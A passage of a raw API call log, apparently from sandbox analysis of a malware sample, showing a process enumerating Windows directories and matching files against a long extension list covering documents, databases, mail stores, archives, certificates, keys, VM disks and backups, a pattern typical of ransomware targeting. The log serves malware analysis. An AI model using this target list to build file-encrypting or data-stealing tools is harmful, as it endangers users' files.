(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.myo") returned 0 [0109.525] lstrlenA (lpString="*.myo") returned 5 [0109.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.qbw") returned 0 [0109.525] lstrlenA (lpString="*.qbw") returned 5 [0109.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.qbb") returned 0 [0109.525] lstrlenA (lpString="*.qbb") returned 5 [0109.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.qbm") returned 0 [0109.525] lstrlenA (lpString="*.qbm") returned 5 [0109.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.qbo") returned 0 [0109.525] lstrlenA (lpString="*.qbo") returned 5 [0109.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.qbx") returned 0 [0109.525] lstrlenA (lpString="*.qbx") returned 5 [0109.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.qba") returned 0 [0109.525] lstrlenA (lpString="*.qba") returned 5 [0109.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.qby") returned 0 [0109.525] lstrlenA (lpString="*.qby") returned 5 [0109.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.qbj") returned 0 [0109.525] lstrlenA (lpString="*.qbj") returned 5 [0109.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.ofx") returned 0 [0109.526] lstrlenA (lpString="*.ofx") returned 5 [0109.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.qif") returned 0 [0109.526] lstrlenA (lpString="*.qif") returned 5 [0109.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.mye") returned 0 [0109.526] lstrlenA (lpString="*.mye") returned 5 [0109.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.mbox") returned 0 [0109.526] lstrlenA (lpString="*.mbox") returned 6 [0109.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.eml") returned 0 [0109.526] lstrlenA (lpString="*.eml") returned 5 [0109.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.pst") returned 0 [0109.526] lstrlenA (lpString="*.pst") returned 5 [0109.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.ost") returned 0 [0109.526] lstrlenA (lpString="*.ost") returned 5 [0109.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.idx") returned 0 [0109.526] lstrlenA (lpString="*.idx") returned 5 [0109.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.dbx") returned 0 [0109.527] lstrlenA (lpString="*.dbx") returned 5 [0109.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.sql") returned 0 [0109.527] lstrlenA (lpString="*.sql") returned 5 [0109.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.mdb") returned 0 [0109.527] lstrlenA (lpString="*.mdb") returned 5 [0109.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.fdb") returned 0 [0109.560] lstrlenA (lpString="*.fdb") returned 5 [0109.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.wab") returned 0 [0109.561] lstrlenA (lpString="*.wab") returned 5 [0109.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.dat") returned 0 [0109.561] lstrlenA (lpString="*.dat") returned 5 [0109.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.txt") returned 0 [0109.561] lstrlenA (lpString="*.txt") returned 5 [0109.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.jpeg") returned 0 [0109.561] lstrlenA (lpString="*.jpeg") returned 6 [0109.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.jpg") returned 0 [0109.561] lstrlenA (lpString="*.jpg") returned 5 [0109.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.png") returned 0 [0109.561] lstrlenA (lpString="*.png") returned 5 [0109.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.php") returned 0 [0109.561] lstrlenA (lpString="*.php") returned 5 [0109.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.cs") returned 0 [0109.561] lstrlenA (lpString="*.cs") returned 4 [0109.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.cpp") returned 0 [0109.561] lstrlenA (lpString="*.cpp") returned 5 [0109.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.rar") returned 0 [0109.561] lstrlenA (lpString="*.rar") returned 5 [0109.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.zip") returned 0 [0109.562] lstrlenA (lpString="*.zip") returned 5 [0109.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.html") returned 0 [0109.562] lstrlenA (lpString="*.html") returned 6 [0109.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.htm") returned 0 [0109.562] lstrlenA (lpString="*.htm") returned 5 [0109.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.xlsx") returned 0 [0109.562] lstrlenA (lpString="*.xlsx") returned 6 [0109.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.xls") returned 0 [0109.562] lstrlenA (lpString="*.xls") returned 5 [0109.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.mp4") returned 0 [0109.562] lstrlenA (lpString="*.mp4") returned 5 [0109.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.ppt") returned 0 [0109.562] lstrlenA (lpString="*.ppt") returned 5 [0109.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.pptx") returned 0 [0109.562] lstrlenA (lpString="*.pptx") returned 6 [0109.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.doc") returned 0 [0109.562] lstrlenA (lpString="*.doc") returned 5 [0109.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.dot") returned 0 [0109.563] lstrlenA (lpString="*.dot") returned 5 [0109.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.docx") returned 0 [0109.563] lstrlenA (lpString="*.docx") returned 6 [0109.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.7z") returned 0 [0109.563] lstrlenA (lpString="*.7z") returned 4 [0109.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.tar") returned 0 [0109.563] lstrlenA (lpString="*.tar") returned 5 [0109.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.bz2") returned 0 [0109.563] lstrlenA (lpString="*.bz2") returned 5 [0109.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.gz") returned 0 [0109.563] lstrlenA (lpString="*.gz") returned 4 [0109.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.mkv") returned 0 [0109.563] lstrlenA (lpString="*.mkv") returned 5 [0109.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.eml") returned 0 [0109.563] lstrlenA (lpString="*.eml") returned 5 [0109.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.msg") returned 0 [0109.563] lstrlenA (lpString="*.msg") returned 5 [0109.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.edb") returned 0 [0109.563] lstrlenA (lpString="*.edb") returned 5 [0109.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.accdb") returned 0 [0109.564] lstrlenA (lpString="*.accdb") returned 7 [0109.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.odb") returned 0 [0109.564] lstrlenA (lpString="*.odb") returned 5 [0109.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.java") returned 0 [0109.564] lstrlenA (lpString="*.java") returned 6 [0109.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.asm") returned 0 [0109.564] lstrlenA (lpString="*.asm") returned 5 [0109.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.pfx") returned 0 [0109.564] lstrlenA (lpString="*.pfx") returned 5 [0109.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.pem") returned 0 [0109.564] lstrlenA (lpString="*.pem") returned 5 [0109.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.p12") returned 0 [0109.564] lstrlenA (lpString="*.p12") returned 5 [0109.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.gpg") returned 0 [0109.564] lstrlenA (lpString="*.gpg") returned 5 [0109.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.vsd") returned 0 [0109.564] lstrlenA (lpString="*.vsd") returned 5 [0109.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.odg") returned 0 [0109.565] lstrlenA (lpString="*.odg") returned 5 [0109.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.raw") returned 0 [0109.565] lstrlenA (lpString="*.raw") returned 5 [0109.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.nef") returned 0 [0109.565] lstrlenA (lpString="*.nef") returned 5 [0109.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.svg") returned 0 [0109.565] lstrlenA (lpString="*.svg") returned 5 [0109.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.psd") returned 0 [0109.565] lstrlenA (lpString="*.psd") returned 5 [0109.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.vmx") returned 0 [0109.565] lstrlenA (lpString="*.vmx") returned 5 [0109.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.vmdk") returned 0 [0109.565] lstrlenA (lpString="*.vmdk") returned 6 [0109.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.vdi") returned 0 [0109.565] lstrlenA (lpString="*.vdi") returned 5 [0109.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.lay6") returned 0 [0109.565] lstrlenA (lpString="*.lay6") returned 6 [0109.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.mpeg") returned 0 [0109.565] lstrlenA (lpString="*.mpeg") returned 6 [0109.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.djvu") returned 0 [0109.566] lstrlenA (lpString="*.djvu") returned 6 [0109.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.tiff") returned 0 [0109.566] lstrlenA (lpString="*.tiff") returned 6 [0109.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.backup") returned 0 [0109.566] lstrlenA (lpString="*.backup") returned 8 [0109.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.pdf") returned 0 [0109.566] lstrlenA (lpString="*.pdf") returned 5 [0109.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.cert") returned 0 [0109.566] lstrlenA (lpString="*.cert") returned 6 [0109.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.docm") returned 0 [0109.566] lstrlenA (lpString="*.docm") returned 6 [0109.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.xlsm") returned 0 [0109.566] lstrlenA (lpString="*.xlsm") returned 6 [0109.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.dwg") returned 0 [0109.566] lstrlenA (lpString="*.dwg") returned 5 [0109.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.nd") returned 0 [0109.566] lstrlenA (lpString="*.nd") returned 4 [0109.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.tlg") returned 0 [0109.567] lstrlenA (lpString="*.tlg") returned 5 [0109.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.lgb") returned 0 [0109.567] lstrlenA (lpString="*.lgb") returned 5 [0109.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.mov") returned 0 [0109.567] lstrlenA (lpString="*.mov") returned 5 [0109.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.xdw") returned 0 [0109.567] lstrlenA (lpString="*.xdw") returned 5 [0109.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.ods") returned 0 [0109.567] lstrlenA (lpString="*.ods") returned 5 [0109.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.wav") returned 0 [0109.567] lstrlenA (lpString="*.wav") returned 5 [0109.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.mp3") returned 0 [0109.567] lstrlenA (lpString="*.mp3") returned 5 [0109.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.aiff") returned 0 [0109.567] lstrlenA (lpString="*.aiff") returned 6 [0109.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.flac") returned 0 [0109.567] lstrlenA (lpString="*.flac") returned 6 [0109.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.m4a") returned 0 [0109.567] lstrlenA (lpString="*.m4a") returned 5 [0109.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.csv") returned 0 [0109.568] lstrlenA (lpString="*.csv") returned 5 [0109.568] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdc722b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfcdc722b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfcded38b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x208800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.568] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.568] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce8590c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfce8590c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfce8590c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="684eae3bcd28cb6d1e6997e6497056e2", cAlternateFileName="684EAE~1")) returned 0 [0109.568] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0109.568] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252cf696, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x252cf696, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x252cf696, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.VisualC", cAlternateFileName="MICROS~1.VIS")) returned 1 [0109.568] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualC") returned -1 [0109.568] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualC") returned -1 [0109.568] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0109.568] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.VisualC" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC" [0109.568] 